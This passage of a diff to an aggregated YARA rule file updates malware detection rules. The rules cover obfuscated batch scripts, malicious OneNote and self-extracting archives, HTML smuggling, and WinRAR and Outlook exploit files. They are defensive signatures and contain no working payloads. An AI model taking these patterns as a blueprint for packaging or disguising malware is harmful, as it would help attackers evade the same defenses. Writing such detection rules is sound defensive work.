"da3a2245207d79cb720079cc2bc88d5f9db22fc16601d21e7c8dcea381ed11e9" + score = 75 + quality = 75 + tags = "" + hash1 = "a0f43c5748ada07a12af81dda2460045030f936a8d5081f3a403f85c2a9668f8" + hash2 = "1a0ca873412474a6437d33e48071aa0169f8317b5c996e1b10a41791707b2cf5" + hash3 = "83e47d4f3dd43ed01dc573f0b83e9e71f0ec75b6ea5712f640585d01d8aedf3c" + hash4 = "cf351a2b1f0a157a92be2e01e460140e2c1d0ee1685474144f2203a97d2de489" + + strings: + $s1 = { 40 65 63 68 6f 20 6f 66 66 0d 0a ( 73 65 25 | 73 25 | 25 ) [2-26] 3a 7e [0-6] 3? 25 ( 25 | 20 | 65 25 | 74 20 | 65 74 20 ) } + $s2 = { 40 65 63 68 6f 20 6f 66 66 0d 0a 73 65 74 20 22 [4] 3d 73 65 74 20 22 0d 0a 25 } + + condition: + $s1 in ( 0 .. 4 ) or $s2 in ( 0 .. 4 ) +} +rule ELCEEF_BAT_Chunked_Payload_Setenv +{ + meta: + description = "Detects batch script storing chunks of payload in random environment variables" + author = "marcin@ulikowski.pl" + id = "18f3ddac-bc19-5b54-891e-93271d59490a" + date = "2023-05-05" + modified = "2024-04-10" + reference = "https://github.com/elceef/yara-rulz" + source_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/rules/Suspicious_BAT.yara#L22-L37" + license_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/LICENSE" + logic_hash = "6b202d1a5723db664c7ca689c73fc1f84365801fd56fc9a035c8d3a0b6b2b9da" + score = 75 + quality = 75 + tags = "" + hash1 = "f73521adbf89be99c4d7ea74ebf7fed815af49ce4dc060656d7c9c631e4d0538" + + strings: + $echo = "@echo off" + $set = { ( 0d 0a | 26 20 ) 73 65 74 20 22 [10] 3d [2-6] 22 } + + condition: + $echo in ( 0 .. 4 ) and #set > 10 +} +rule ELCEEF_BAT_Begin_Substring_Env +{ + meta: + description = "Detects suspicious substring syntax at the begining of batch script" + author = "marcin@ulikowski.pl" + id = "3fca187b-d2e7-595c-9330-25141a54285b" + date = "2023-06-02" + modified = "2024-04-10" + reference = "https://cybersecurity.att.com/blogs/labs-research/seroxen-rat-for-sale" + source_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/rules/Suspicious_BAT.yara#L39-L55" + license_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/LICENSE" + logic_hash = "cc5e6e511bbc0a5cbb277ed0cbac1f2b21db8e21c4cdc802b6a1c3313d3b55cc" score = 65 quality = 75 tags = "" - hash1 = "f408ef3fa89546483ba63f58be3f27a98795655eb4b9b6217cbe302a5ba9d5f7" - hash2 = "5306fa7940b4d67dfb031fd315b661cecb2ce81e2f34c9393e1826df0f0bbdc5" - hash3 = "e1d34ad42938a777d80f3ee4c206de14021f13ab79600168b85894fdb0867b3e" - hash4 = "9e89231578d8b9b190de3288fd10f43cf11a24963a8b0a76f0c46170deda59fd" - hash5 = "6778c59a29e25d722230163bea272ece58d2d3696fbce4347c20104e8fb735dc" + hash1 = "8ace121fae472cc7ce896c91a3f1743d5ccc8a389bc3152578c4782171c69e87" strings: - $magic = { ae b1 53 78 d0 29 96 d3 } - $fdso_pe32 = { a4 c4 8d 4d 0b 7a 9e ac [20] 4d 5a } - $fdso_bat = { a4 c4 8d 4d 0b 7a 9e ac [20] 40 65 63 68 6f 20 6f 66 66 } - $fdso_lnk = { a4 c4 8d 4d 0b 7a 9e ac [20] 4c 00 00 00 01 14 02 00 } - $fdso_jse = { a4 c4 8d 4d 0b 7a 9e ac [20] 23 40 7e 5e } - $fdso_chm = { a4 c4 8d 4d 0b 7a 9e ac [20] 49 54 53 46 03 } + $echo = "@echo off" + $substr = { 3a 7e ( 3? 2c 3? | 2d 3? 2c 3? | 3? 2c 2d 3? | 3? 3? 2c 3? | 2d 3? 3? 2c 3? | 3? 3? 2c 2d 3? ) 25 } condition: - $magic at 8 and 1 of ( $fdso_* ) + $echo in ( 0 .. 4 ) and $substr in ( 10 .. 100 ) +} +rule ELCEEF_Polymorph_BAT_CAB : FILE +{ + meta: + description = "Detects polymorphic BAT/CAB files self-extracting payload with extrac32.exe/extract.exe" + author = "marcin@ulikowski.pl" + id = "10a46120-beaf-5443-bc35-c6d9ef065bb4" + date = "2024-04-10" + modified = "2024-04-10" + reference = "https://github.com/elceef/yara-rulz" + source_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/rules/Suspicious_BAT.yara#L57-L72" + license_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/LICENSE" + logic_hash = "d29d488b0ebcfb485818c181ac674e3586aa1a41ab68185a1f1d3e49295ffbce" + score = 75 + quality = 75 + tags = "FILE" + hash1 = "f1296b12925108a5d675a8b9c2033c0b749b121ae3b5a6a912ce4418daa06d99" + + strings: + $extract = { 65 78 74 72 61 63 ( 33 32 | 74 ) 20 2f 79 20 22 25 7e 66 30 22 } + + condition: + uint32be( 0 ) == 0x4d534346 and uint32( 16 ) > 80 and $extract in ( 48 .. 80 ) +} +rule ELCEEF_EICAR_Encrypted_ZIP +{ + meta: + description = "Detects EICAR file in any encrypted ZIP archive" + author = "marcin@ulikowski.pl" + id = "c12d42de-356a-584b-9c48-71e65940f1cf" + date = "2022-12-13" + modified = "2022-12-16" + reference = "https://github.com/elceef/yara-rulz" + source_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/rules/EICAR_Encrypted_ZIP.yara#L14-L44" + license_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/LICENSE" + logic_hash = "56851056671bde38338bd200d9fde59c042f35a2cd84ac9401e716f376c9502c" + score = 75 + quality = 75 + tags = "" + + strings: + $local = { + 50 4b 03 04 // local file header signature (PK) + ?? 00 // minimum version + ?? 00 // flags (bit 0 and 6 indicate encryption) + ?? 00 // compression method + ?? ?? // last modification time + ?? ?? // last modification date + ?? ?? ?? ?? // CRC-32 of uncompressed and unencrypted data + ?? ?? ?? ?? // compressed size + ?? ?? ?? ?? // uncompressed size + } + + condition: + for any i in ( 1 .. #local ) : ( ( uint8( @local [ i ] + 6 ) & 0x01 or uint8( @local [ i ] + 6 ) & 0x40 ) and uint32( @local [ i ] + 14 ) == 0x6851cf3c and uint32( @local [ i ] + 22 ) == 68 ) +} +rule ELCEEF_ZIP_High_Ratio_Single_Doc : FILE +{ + meta: + description = "Detects ZIP archives containing single MS Word document with unusually high compression ratio" + author = "marcin@ulikowski.pl" + id = "0fbe89d9-1bf5-50a9-b6c1-1d739162a2ba" + date = "2023-03-08" + modified = "2023-03-08" + reference = "https://github.com/elceef/yara-rulz" + source_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/rules/ZIP_High_Ratio_Single_Doc.yara#L8-L27" + license_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/LICENSE" + logic_hash = "470300b8d6356cff43a1e2be3a23a97be5d1e2ce5a76f2fb2eccdbbb47a4d327" + score = 75 + quality = 75 + tags = "FILE" + hash1 = "4d9a6dfca804989d40eeca9bb2d90ef33f3980eb07ca89bbba06d0ef4b37634b" + hash2 = "4bc2d14585c197ad3aa5836b3f7d9d784d7afe79856e0ddf850fc3c676b6ecb1" + + strings: + $magic = { 50 4b 03 04 } + $ext = ".doc" + + condition: + filesize < 1MB and $magic at 0 and #magic == 1 and uint32( 22 ) > 1024 * 1024 * 100 and $ext at ( uint16( 26 ) + 26 ) } rule ELCEEF_HTML_Windows_Search_Abuse { @@ -175726,54 +175819,94 @@ rule ELCEEF_HTML_Windows_Search_Abuse condition: ( any of ( $location* ) or $metarefresh ) and any of ( $search* ) and any of ( $crumb* ) } -rule ELCEEF_Winrar_CVE_2023_38831_Exploit : CVE_2023_38831 FILE +rule ELCEEF_Suspicious_SFX : FILE { meta: - description = "Detects ZIP archives exploiting CVE-2023-38831 in WinRAR" + description = "Detects self-extracting archives (SFX) executing cmd.exe or powershell.exe" author = "marcin@ulikowski.pl" - id = "7d592eb7-b344-59ed-adf8-fe69ebb1e43f" - date = "2023-09-23" - modified = "2023-09-28" - reference = "https://www.group-ib.com/blog/cve-2023-38831-winrar-zero-day" - source_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/rules/WinRAR_CVE_2023_38831.yara#L1-L17" + id = "78f4ae8b-ba17-5c02-a6f0-66bec873aba8" + date = "2023-04-04" + modified = "2023-04-04" + reference = "https://www.crowdstrike.com/blog/self-extracting-archives-decoy-files-and-their-hidden-payloads/" + source_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/rules/Suspicious_SFX.yara#L1-L22" license_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/LICENSE" - logic_hash = "06f1d807429fb175831cf333b05b44b6ce33b4ae981e16c03e36ec7564a4fdd1" + logic_hash = "688ed356e2fa936a0e07a8479591c28fb457053ed94351bad4bf367b02f04b0a" + score = 65 + quality = 73 + tags = "FILE" + + strings: + $rar = { 52 61 72 21 } + $zip = { 50 4b 03 04 } + $setup_cmd = "\nSetup=cmd" + $setup_powershell = "\nSetup=powershell" + $silent = "\nSilent=1" + + condition: + filesize < 1MB and uint16be( 0 ) == 0x4d5a and any of ( $zip , $rar ) and any of ( $setup_* ) and $silent +} +rule ELCEEF_Outlook_CVE_2023_23397_Exploit : FILE +{ + meta: + description = "Detects Outlook meeting/appointment/task files with ReminderSoundFile property set to UNC path" + author = "marcin@ulikowski.pl" + id = "f0dfb7a6-b3bf-58c4-a9a2-978f436679d9" + date = "2023-03-16" + modified = "2023-04-20" + reference = "https://www.mdsec.co.uk/2023/03/exploiting-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/" + source_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/rules/Outlook_CVE_2023_23397.yara#L1-L29" + license_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/LICENSE" + logic_hash = "695721ec276415c6a6a0f4ce6378ff2d11c15d28271f587966bc3d9d8c06f63a" score = 75 - quality = 75 - tags = "CVE-2023-38831, FILE" - hash1 = "00175d538cba0c493e397a0b7f4b28f9a90dd0ee40f69795ae28d23ce0d826c0" - hash2 = "ca8ca67df7853b86b6a107c8fd7f73b757de9143ea8844d0e6209249e8377885" + quality = 50 + tags = "FILE" + hash1 = "52dbaf64ce1a5cd1db9a9d385f8204e5f665ca53a3d904033bf1a10369490646" + hash2 = "582442ee950d546744f2fa078adb005853a453e9c7f48c6c770e6322a888c2cf" + hash3 = "078b5023cae7bd784a84ec4ee8df305ee7825025265bf2ddc1f5238c3e432f5f" + hash4 = "1867bc9f81e99a55103288ce10c5c05267119ebb13757686e59bfed156f62b51" strings: - $ = { 50 4b 03 04 [24] 00 00 [3-64] 2e ?? ?? ?? 20 2f [3-64] 2e ?? ?? ?? 20 2e ( 626174 | 636d64 | 707331 ) } + $pid_reminder_file = { 1f 85 00 00 0? 00 ?? 00 } + $pid_reminder_override = { 1c 85 00 00 0? 00 ?? 00 } + $psetid_common = { 08 20 06 00 00 00 00 00 c0 00 00 00 00 00 00 46 } + $psetid_appointment = { 02 20 06 00 00 00 00 00 c0 00 00 00 00 00 00 46 } + $psetid_task = { 03 20 06 00 00 00 00 00 c0 00 00 00 00 00 00 46 } + $unc = /\\\\([a-z1-9][a-z0-9.]{6}|\.\\UNC\\\\)/ wide ascii condition: - uint16be( 0 ) == 0x504b and all of them + filesize < 1MB and ( uint32be( 0 ) == 0xd0cf11e0 or uint32be( 0 ) == 0x789f3e22 ) and ( $psetid_appointment or $psetid_task ) and $psetid_common and ( $pid_reminder_file and $pid_reminder_override ) and $unc } -rule ELCEEF_ZIP_High_Ratio_Single_Doc : FILE +rule ELCEEF_Suspicious_Onenote { meta: - description = "Detects ZIP archives containing single MS Word document with unusually high compression ratio" + description = "Detects OneNote documents with FileDataStoreObject structure containing: PE32, shortcut files (*.lnk), encoded JS, Windows Help File (*.chm), or batch script" author = "marcin@ulikowski.pl" - id = "0fbe89d9-1bf5-50a9-b6c1-1d739162a2ba" - date = "2023-03-08" - modified = "2023-03-08" + id = "57f6fc7f-666f-5887-ac97-513588415757" + date = "2023-01-22" + modified = "2023-02-21" reference = "https://github.com/elceef/yara-rulz" - source_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/rules/ZIP_High_Ratio_Single_Doc.yara#L8-L27" + source_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/rules/Suspicious_OneNote.yara#L1-L23" license_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/LICENSE" - logic_hash = "470300b8d6356cff43a1e2be3a23a97be5d1e2ce5a76f2fb2eccdbbb47a4d327" - score = 75 + logic_hash = "b65f0976b71c1e827ecce09f0c435d9ffa6a5d3b3a41401efc6a14b6259af4ad" + score = 65 quality = 75 - tags = "FILE" - hash1 = "4d9a6dfca804989d40eeca9bb2d90ef33f3980eb07ca89bbba06d0ef4b37634b" - hash2 = "4bc2d14585c197ad3aa5836b3f7d9d784d7afe79856e0ddf850fc3c676b6ecb1" + tags = "" + hash1 = "f408ef3fa89546483ba63f58be3f27a98795655eb4b9b6217cbe302a5ba9d5f7" + hash2 = "5306fa7940b4d67dfb031fd315b661cecb2ce81e2f34c9393e1826df0f0bbdc5" + hash3 = "e1d34ad42938a777d80f3ee4c206de14021f13ab79600168b85894fdb0867b3e" + hash4 = "9e89231578d8b9b190de3288fd10f43cf11a24963a8b0a76f0c46170deda59fd" + hash5 = "6778c59a29e25d722230163bea272ece58d2d3696fbce4347c20104e8fb735dc" strings: - $magic = { 50 4b 03 04 } - $ext = ".doc" + $magic = { ae b1 53 78 d0 29 96 d3 } + $fdso_pe32 = { a4 c4 8d 4d 0b 7a 9e ac [20] 4d 5a } + $fdso_bat = { a4 c4 8d 4d 0b 7a 9e ac [20] 40 65 63 68 6f 20 6f 66 66 } + $fdso_lnk = { a4 c4 8d 4d 0b 7a 9e ac [20] 4c 00 00 00 01 14 02 00 } + $fdso_jse = { a4 c4 8d 4d 0b 7a 9e ac [20] 23 40 7e 5e } + $fdso_chm = { a4 c4 8d 4d 0b 7a 9e ac [20] 49 54 53 46 03 } condition: - filesize < 1MB and $magic at 0 and #magic == 1 and uint32( 22 ) > 1024 * 1024 * 100 and $ext at ( uint16( 26 ) + 26 ) + $magic at 8 and 1 of ( $fdso_* ) } rule ELCEEF_Obfuscated_IP_Address_In_URL { @@ -175788,7 +175921,7 @@ rule ELCEEF_Obfuscated_IP_Address_In_URL license_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/LICENSE" logic_hash = "ab2a2a3a56e6eed9f4a3a8f994c89a167f00b86ce442820c81d8ee673b0ab85c" score = 75 - quality = 40 + quality = 65 tags = "" strings: @@ -175897,245 +176030,59 @@ rule ELCEEF_HTML_Smuggling_C : T1027 FILE condition: filesize < 5MB and $mssave and #blob == 1 and #array == 1 and #loop == 1 } -rule ELCEEF_Winrar_CVE_2025_8088_Exploit : CVE_2025_8088 FILE -{ - meta: - description = "Detects RAR archives exploiting CVE-2025-8088 in WinRAR" - author = "marcin@ulikowski.pl" - id = "546e2858-c04a-5f3c-94b9-54d5b7f364b5" - date = "2025-08-18" - modified = "2025-08-18" - reference = "https://www.welivesecurity.com/en/eset-research/update-winrar-tools-now-romcom-and-others-exploiting-zero-day-vulnerability/" - source_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/rules/WinRAR_CVE_2025_8088.yara#L1-L17" - license_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/LICENSE" - logic_hash = "f3181b92294ad68467b6ce121170a91b423604fd152f27899a2f34879266e9d8" - score = 75 - quality = 75 - tags = "CVE-2025-8088, FILE" - hash1 = "2a8fafa01f6d3863c87f20905736ebab28d6a5753ab708760c0b6cf3970828c3" - - strings: - $ = { 00 03 53 54 4d [2-3] 3a ( 5c | 2e ) ( 5c | 2e ) ( 5c | 2e ) ( 5c | 2e ) } - - condition: - uint32be( 0 ) == 0x52617221 and all of them -} -rule ELCEEF_Base64_SVG_Javascript -{ - meta: - description = "Detects base64 encoded SVG objects containing Javascript" - author = "marcin@ulikowski.pl" - id = "99275772-1f4f-5616-9a9c-f76b613fe143" - date = "2022-10-25" - modified = "2022-12-12" - reference = "https://github.com/elceef/yara-rulz" - source_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/rules/Base64_SVG_Javascript.yara#L1-L16" - license_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/LICENSE" - logic_hash = "e4cb08ccc75dc00b518c4ee1495409ae6bb99e7d493be55312b8d39aa9099cfc" - score = 75 - quality = 75 - tags = "" - hash1 = "fe394a59e961c3fbcc326e7d0ee5909596de55249e669bc4da0aed172c11fda8" - hash2 = "f0c94f2705b1aea17f4a6c6d71c6ed725fe71bf66b03b0117060010859ca8a19" - - strings: - $svg = "\"data:image/svg+xml;base64" wide ascii - $js = "<script type=\"text/javascript\">" base64 - - condition: - all of them -} -rule ELCEEF_BAT_Obfuscated_Setenv -{ - meta: - description = "Detects batch script with obfuscated SET command located directly after @echo off" - author = "marcin@ulikowski.pl" - id = "999d192e-a792-5953-b9e2-de4b298444d3" - date = "2023-05-01" - modified = "2023-05-05" - reference = "https://twitter.com/wdormann/status/1651631372438585344" - source_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/rules/Suspicious_BAT.yara#L1-L20" - license_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/LICENSE" - logic_hash = "da3a2245207d79cb720079cc2bc88d5f9db22fc16601d21e7c8dcea381ed11e9" - score = 75 - quality = 75 - tags = "" - hash1 = "a0f43c5748ada07a12af81dda2460045030f936a8d5081f3a403f85c2a9668f8" - hash2 = "1a0ca873412474a6437d33e48071aa0169f8317b5c996e1b10a41791707b2cf5" - hash3 = "83e47d4f3dd43ed01dc573f0b83e9e71f0ec75b6ea5712f640585d01d8aedf3c" - hash4 = "cf351a2b1f0a157a92be2e01e460140e2c1d0ee1685474144f2203a97d2de489" - - strings: - $s1 = { 40 65 63 68 6f 20 6f 66 66 0d 0a ( 73 65 25 | 73 25 | 25 ) [2-26] 3a 7e [0-6] 3? 25 ( 25 | 20 | 65 25 | 74 20 | 65 74 20 ) } - $s2 = { 40 65 63 68 6f 20 6f 66 66 0d 0a 73 65 74 20 22 [4] 3d 73 65 74 20 22 0d 0a 25 } - - condition: - $s1 in ( 0 .. 4 ) or $s2 in ( 0 .. 4 ) -} -rule ELCEEF_BAT_Chunked_Payload_Setenv +rule ELCEEF_HTA_Wscriptshell_Onenote : FILE { meta: - description = "Detects batch script storing chunks of payload in random environment variables" + description = "Detects suspicious OneNote documents with embedded HTA + WScript.Shell" author = "marcin@ulikowski.pl" - id = "18f3ddac-bc19-5b54-891e-93271d59490a" - date = "2023-05-05" - modified = "2024-04-10" + id = "8cebd862-8dfb-5f5d-befb-5c41cde945ff" + date = "2023-02-01" + modified = "2023-02-02" reference = "https://github.com/elceef/yara-rulz" - source_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/rules/Suspicious_BAT.yara#L22-L37" - license_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/LICENSE" - logic_hash = "6b202d1a5723db664c7ca689c73fc1f84365801fd56fc9a035c8d3a0b6b2b9da" - score = 75 - quality = 75 - tags = "" - hash1 = "f73521adbf89be99c4d7ea74ebf7fed815af49ce4dc060656d7c9c631e4d0538" - - strings: - $echo = "@echo off" - $set = { ( 0d 0a | 26 20 ) 73 65 74 20 22 [10] 3d [2-6] 22 } - - condition: - $echo in ( 0 .. 4 ) and #set > 10 -} -rule ELCEEF_BAT_Begin_Substring_Env -{ - meta: - description = "Detects suspicious substring syntax at the begining of batch script" - author = "marcin@ulikowski.pl" - id = "3fca187b-d2e7-595c-9330-25141a54285b" - date = "2023-06-02" - modified = "2024-04-10" - reference = "https://cybersecurity.att.com/blogs/labs-research/seroxen-rat-for-sale" - source_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/rules/Suspicious_BAT.yara#L39-L55" + source_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/rules/HTA_OneNote.yara#L1-L17" license_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/LICENSE" - logic_hash = "cc5e6e511bbc0a5cbb277ed0cbac1f2b21db8e21c4cdc802b6a1c3313d3b55cc" + logic_hash = "0287ac5d618c9a8332d167f1a05157aa829c7e8a052c35100fcaeb644d452e5c" score = 65 quality = 75 - tags = "" - hash1 = "8ace121fae472cc7ce896c91a3f1743d5ccc8a389bc3152578c4782171c69e87" - - strings: - $echo = "@echo off" - $substr = { 3a 7e ( 3? 2c 3? | 2d 3? 2c 3? | 3? 2c 2d 3? | 3? 3? 2c 3? | 2d 3? 3? 2c 3? | 3? 3? 2c 2d 3? ) 25 } - - condition: - $echo in ( 0 .. 4 ) and $substr in ( 10 .. 100 ) -} -rule ELCEEF_Polymorph_BAT_CAB : FILE -{ - meta: - description = "Detects polymorphic BAT/CAB files self-extracting payload with extrac32.exe/extract.exe" - author = "marcin@ulikowski.pl" - id = "10a46120-beaf-5443-bc35-c6d9ef065bb4" - date = "2024-04-10" - modified = "2024-04-10" - reference = "https://github.com/elceef/yara-rulz" - source_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/rules/Suspicious_BAT.yara#L57-L72" - license_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/LICENSE" - logic_hash = "d29d488b0ebcfb485818c181ac674e3586aa1a41ab68185a1f1d3e49295ffbce" - score = 75 - quality = 75 - tags = "FILE" - hash1 = "f1296b12925108a5d675a8b9c2033c0b749b121ae3b5a6a912ce4418daa06d99" - - strings: - $extract = { 65 78 74 72 61 63 ( 33 32 | 74 ) 20 2f 79 20 22 25 7e 66 30 22 } - - condition: - uint32be( 0 ) == 0x4d534346 and uint32( 16 ) > 80 and $extract in ( 48 .. 80 ) -} -rule ELCEEF_OLE2_Autoopen_Reversed_Payload : FILE -{ - meta: - description = "Detects suspiciously reversed payloads in OLE2 objects with auto-open macros" - author = "marcin@ulikowski.pl" - id = "9244fdb7-9949-58a0-9e39-e61e04cc1574" - date = "2021-12-01" - modified = "2023-04-04" - reference = "https://github.com/elceef/yara-rulz" - source_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/rules/OLE2_Reversed.yara#L1-L20" - license_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/LICENSE" - logic_hash = "425750e77d31ddc356f803ee6e2f192f93f64534a9633fef02da5caaa60dbcaf" - score = 65 - quality = 42 tags = "FILE" + hash1 = "002fe00bc429877ee2a786a1d40b80250fd66e341729c5718fc66f759387c88c" strings: - $auto_open = /(auto|document|workbook)_?(open|close)/ wide ascii nocase - $http = /\/\/:s?ptth/ wide ascii - $programdata = /\\ataDmargorP\\\\?:C/ wide ascii nocase - $windows = /\\swodniW\\\\?:C/ wide ascii nocase + $magic = { ae b1 53 78 d0 29 96 d3 } + $hta = { 00 04 00 00 00 2e 00 68 00 74 00 61 } + $wsh = "CreateObject(\"WScript.Shell\")" condition: - filesize < 1MB and uint32be( 0 ) == 0xd0cf11e0 and $auto_open and any of ( $http , $programdata , $windows ) + filesize < 5MB and $magic at 8 and $wsh and $hta } -rule ELCEEF_EICAR_Encrypted_ZIP +rule ELCEEF_Winrar_CVE_2025_8088_Exploit : CVE_2025_8088 FILE { meta: - description = "Detects EICAR file in any encrypted ZIP archive" + description = "Detects RAR archives exploiting CVE-2025-8088 in WinRAR" author = "marcin@ulikowski.pl" - id = "c12d42de-356a-584b-9c48-71e65940f1cf" - date = "2022-12-13" - modified = "2022-12-16" - reference = "https://github.com/elceef/yara-rulz" - source_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/rules/EICAR_Encrypted_ZIP.yara#L14-L44" + id = "546e2858-c04a-5f3c-94b9-54d5b7f364b5" + date = "2025-08-18" + modified = "2025-08-18" + reference = "https://www.welivesecurity.com/en/eset-research/update-winrar-tools-now-romcom-and-others-exploiting-zero-day-vulnerability/" + source_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/rules/WinRAR_CVE_2025_8088.yara#L1-L17" license_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/LICENSE" - logic_hash = "56851056671bde38338bd200d9fde59c042f35a2cd84ac9401e716f376c9502c" + logic_hash = "f3181b92294ad68467b6ce121170a91b423604fd152f27899a2f34879266e9d8" score = 75 quality = 75 - tags = "" - - strings: - $local = { - 50 4b 03 04 // local file header signature (PK) - ?? 00 // minimum version - ?? 00 // flags (bit 0 and 6 indicate encryption) - ?? 00 // compression method - ?? ?? // last modification time - ?? ?? // last modification date - ?? ?? ?? ?? // CRC-32 of uncompressed and unencrypted data - ?? ?? ?? ?? // compressed size - ?? ?? ?? ?? // uncompressed size - } - - condition: - for any i in ( 1 .. #local ) : ( ( uint8( @local [ i ] + 6 ) & 0x01 or uint8( @local [ i ] + 6 ) & 0x40 ) and uint32( @local [ i ] + 14 ) == 0x6851cf3c and uint32( @local [ i ] + 22 ) == 68 ) -} -rule ELCEEF_Outlook_CVE_2023_23397_Exploit : FILE -{ - meta: - description = "Detects Outlook meeting/appointment/task files with ReminderSoundFile property set to UNC path" - author = "marcin@ulikowski.pl" - id = "f0dfb7a6-b3bf-58c4-a9a2-978f436679d9" - date = "2023-03-16" - modified = "2023-04-20" - reference = "https://www.mdsec.co.uk/2023/03/exploiting-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/" - source_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/rules/Outlook_CVE_2023_23397.yara#L1-L29" - license_url = "https://github.com/elceef/yara-rulz/blob/791721372091836f5bf477d7f21114f45a310052/LICENSE" - logic_hash = "695721ec276415c6a6a0f4ce6378ff2d11c15d28271f587966bc3d9d8c06f63a" - score = 75 - quality = 25 - tags = "FILE" - hash1 = "52dbaf64ce1a5cd1db9a9d385f8204e5f665ca53a3d904033bf1a10369490646" - hash2 = "582442ee950d546744f2fa078adb005853a453e9c7f48c6c770e6322a888c2cf" - hash3 = "078b5023cae7bd784a84ec4ee8df305ee7825025265bf2ddc1f5238c3e432f5f" - hash4 = "1867bc9f81e99a55103288ce10c5c05267119ebb13757686e59bfed156f62b51" + tags = "CVE-2025-8088, FILE" + hash1 = "2a8fafa01f6d3863c87f20905736ebab28d6a5753ab708760c0b6cf3970828c3" strings: - $pid_reminder_file = { 1f 85 00 00 0? 00 ?? 00 } - $pid_reminder_override = { 1c 85 00 00 0? 00 ?? 00 } - $psetid_common = { 08 20 06 00 00 00 00 00 c0 00 00 00 00 00 00 46 } - $psetid_appointment = { 02 20 06 00 00 00 00 00 c0 00 00 00 00 00 00 46 } - $psetid_task = { 03 20 06 00 00 00 00 00 c0 00 00 00 00 00 00 46 } - $unc = /\\\\([a-z1-9][a-z0-9.]{6}|\.\\UNC\\\\)/ wide ascii + $ = { 00 03 53 54 4d [2-3] 3a ( 5c | 2e ) ( 5c | 2e ) ( 5c | 2e ) ( 5c | 2e ) } condition: - filesize < 1MB and ( uint32be( 0 ) == 0xd0cf11e0 or uint32be( 0 ) == 0x789f3e22 ) and ( $psetid_appointment or $psetid_task ) and $psetid_common and ( $pid_reminder_file and $pid_reminder_override ) and $unc + uint32be( 0 ) == 0x52617221 and all of them } /* * YARA Rule Set * Repository Name: GodModeRules * Repository: https://github.com/Neo23x0/god-mode-rules/ - * Retrieval Date: 2026-02-22 + * Retrieval Date: 2026-03-01 * Git Commit: 436dc682164cf17a123d6b09d1424e7e2acf0c25 * Number of Rules: 1 * Skipped: 0 (age), 0 (quality), 0 (score), 0 (importance) @@ -176359,7 +176306,7 @@ rule GODMODERULES_IDDQD_God_Mode_Rule license_url = "https://github.com/Neo23x0/god-mode-rules//blob/436dc682164cf17a123d6b09d1424e7e2acf0c25/LICENSE" logic_hash = "f2996ad7090a79c470e64c9e0ac43c2ba3fc1bf18e39686ecda9dc5b89744d7e" score = 60 - quality = 1 + quality = 26 tags = "" importance = 60 @@ -176406,7 +176353,7 @@ rule GODMODERULES_IDDQD_God_Mode_Rule * YARA Rule Set * Repository Name: Cod3nym * Repository: https://github.com/cod3nym/detection-rules/ - * Retrieval Date: 2026-02-22 + * Retrieval Date: 2026-03-01 * Git Commit: 86a04c4594cb48895192aad4af164f21f568c136 * Number of Rules: 13 * Skipped: 0 (age), 1 (quality), 0 (score), 0 (importance) @@ -176454,26 +176401,106 @@ OUT OF OR IN CONNECTION WITH THE RULES OR THE USE OR OTHER DEALINGS IN THE RULES. */ -rule COD3NYM_Eazfuscator_String_Encryption : SUSPICIOUS OBFUSCATION FILE +rule COD3NYM_SUSP_NET_Shellcode_Loader_Indicators_Jan24 : FILE +{ + meta: + description = "Detects indicators of shellcode loaders in .NET binaries" + author = "Jonathan Peters" + id = "606a444a-b894-5076-8d5e-1716bbfa588e" + date = "2024-01-11" + modified = 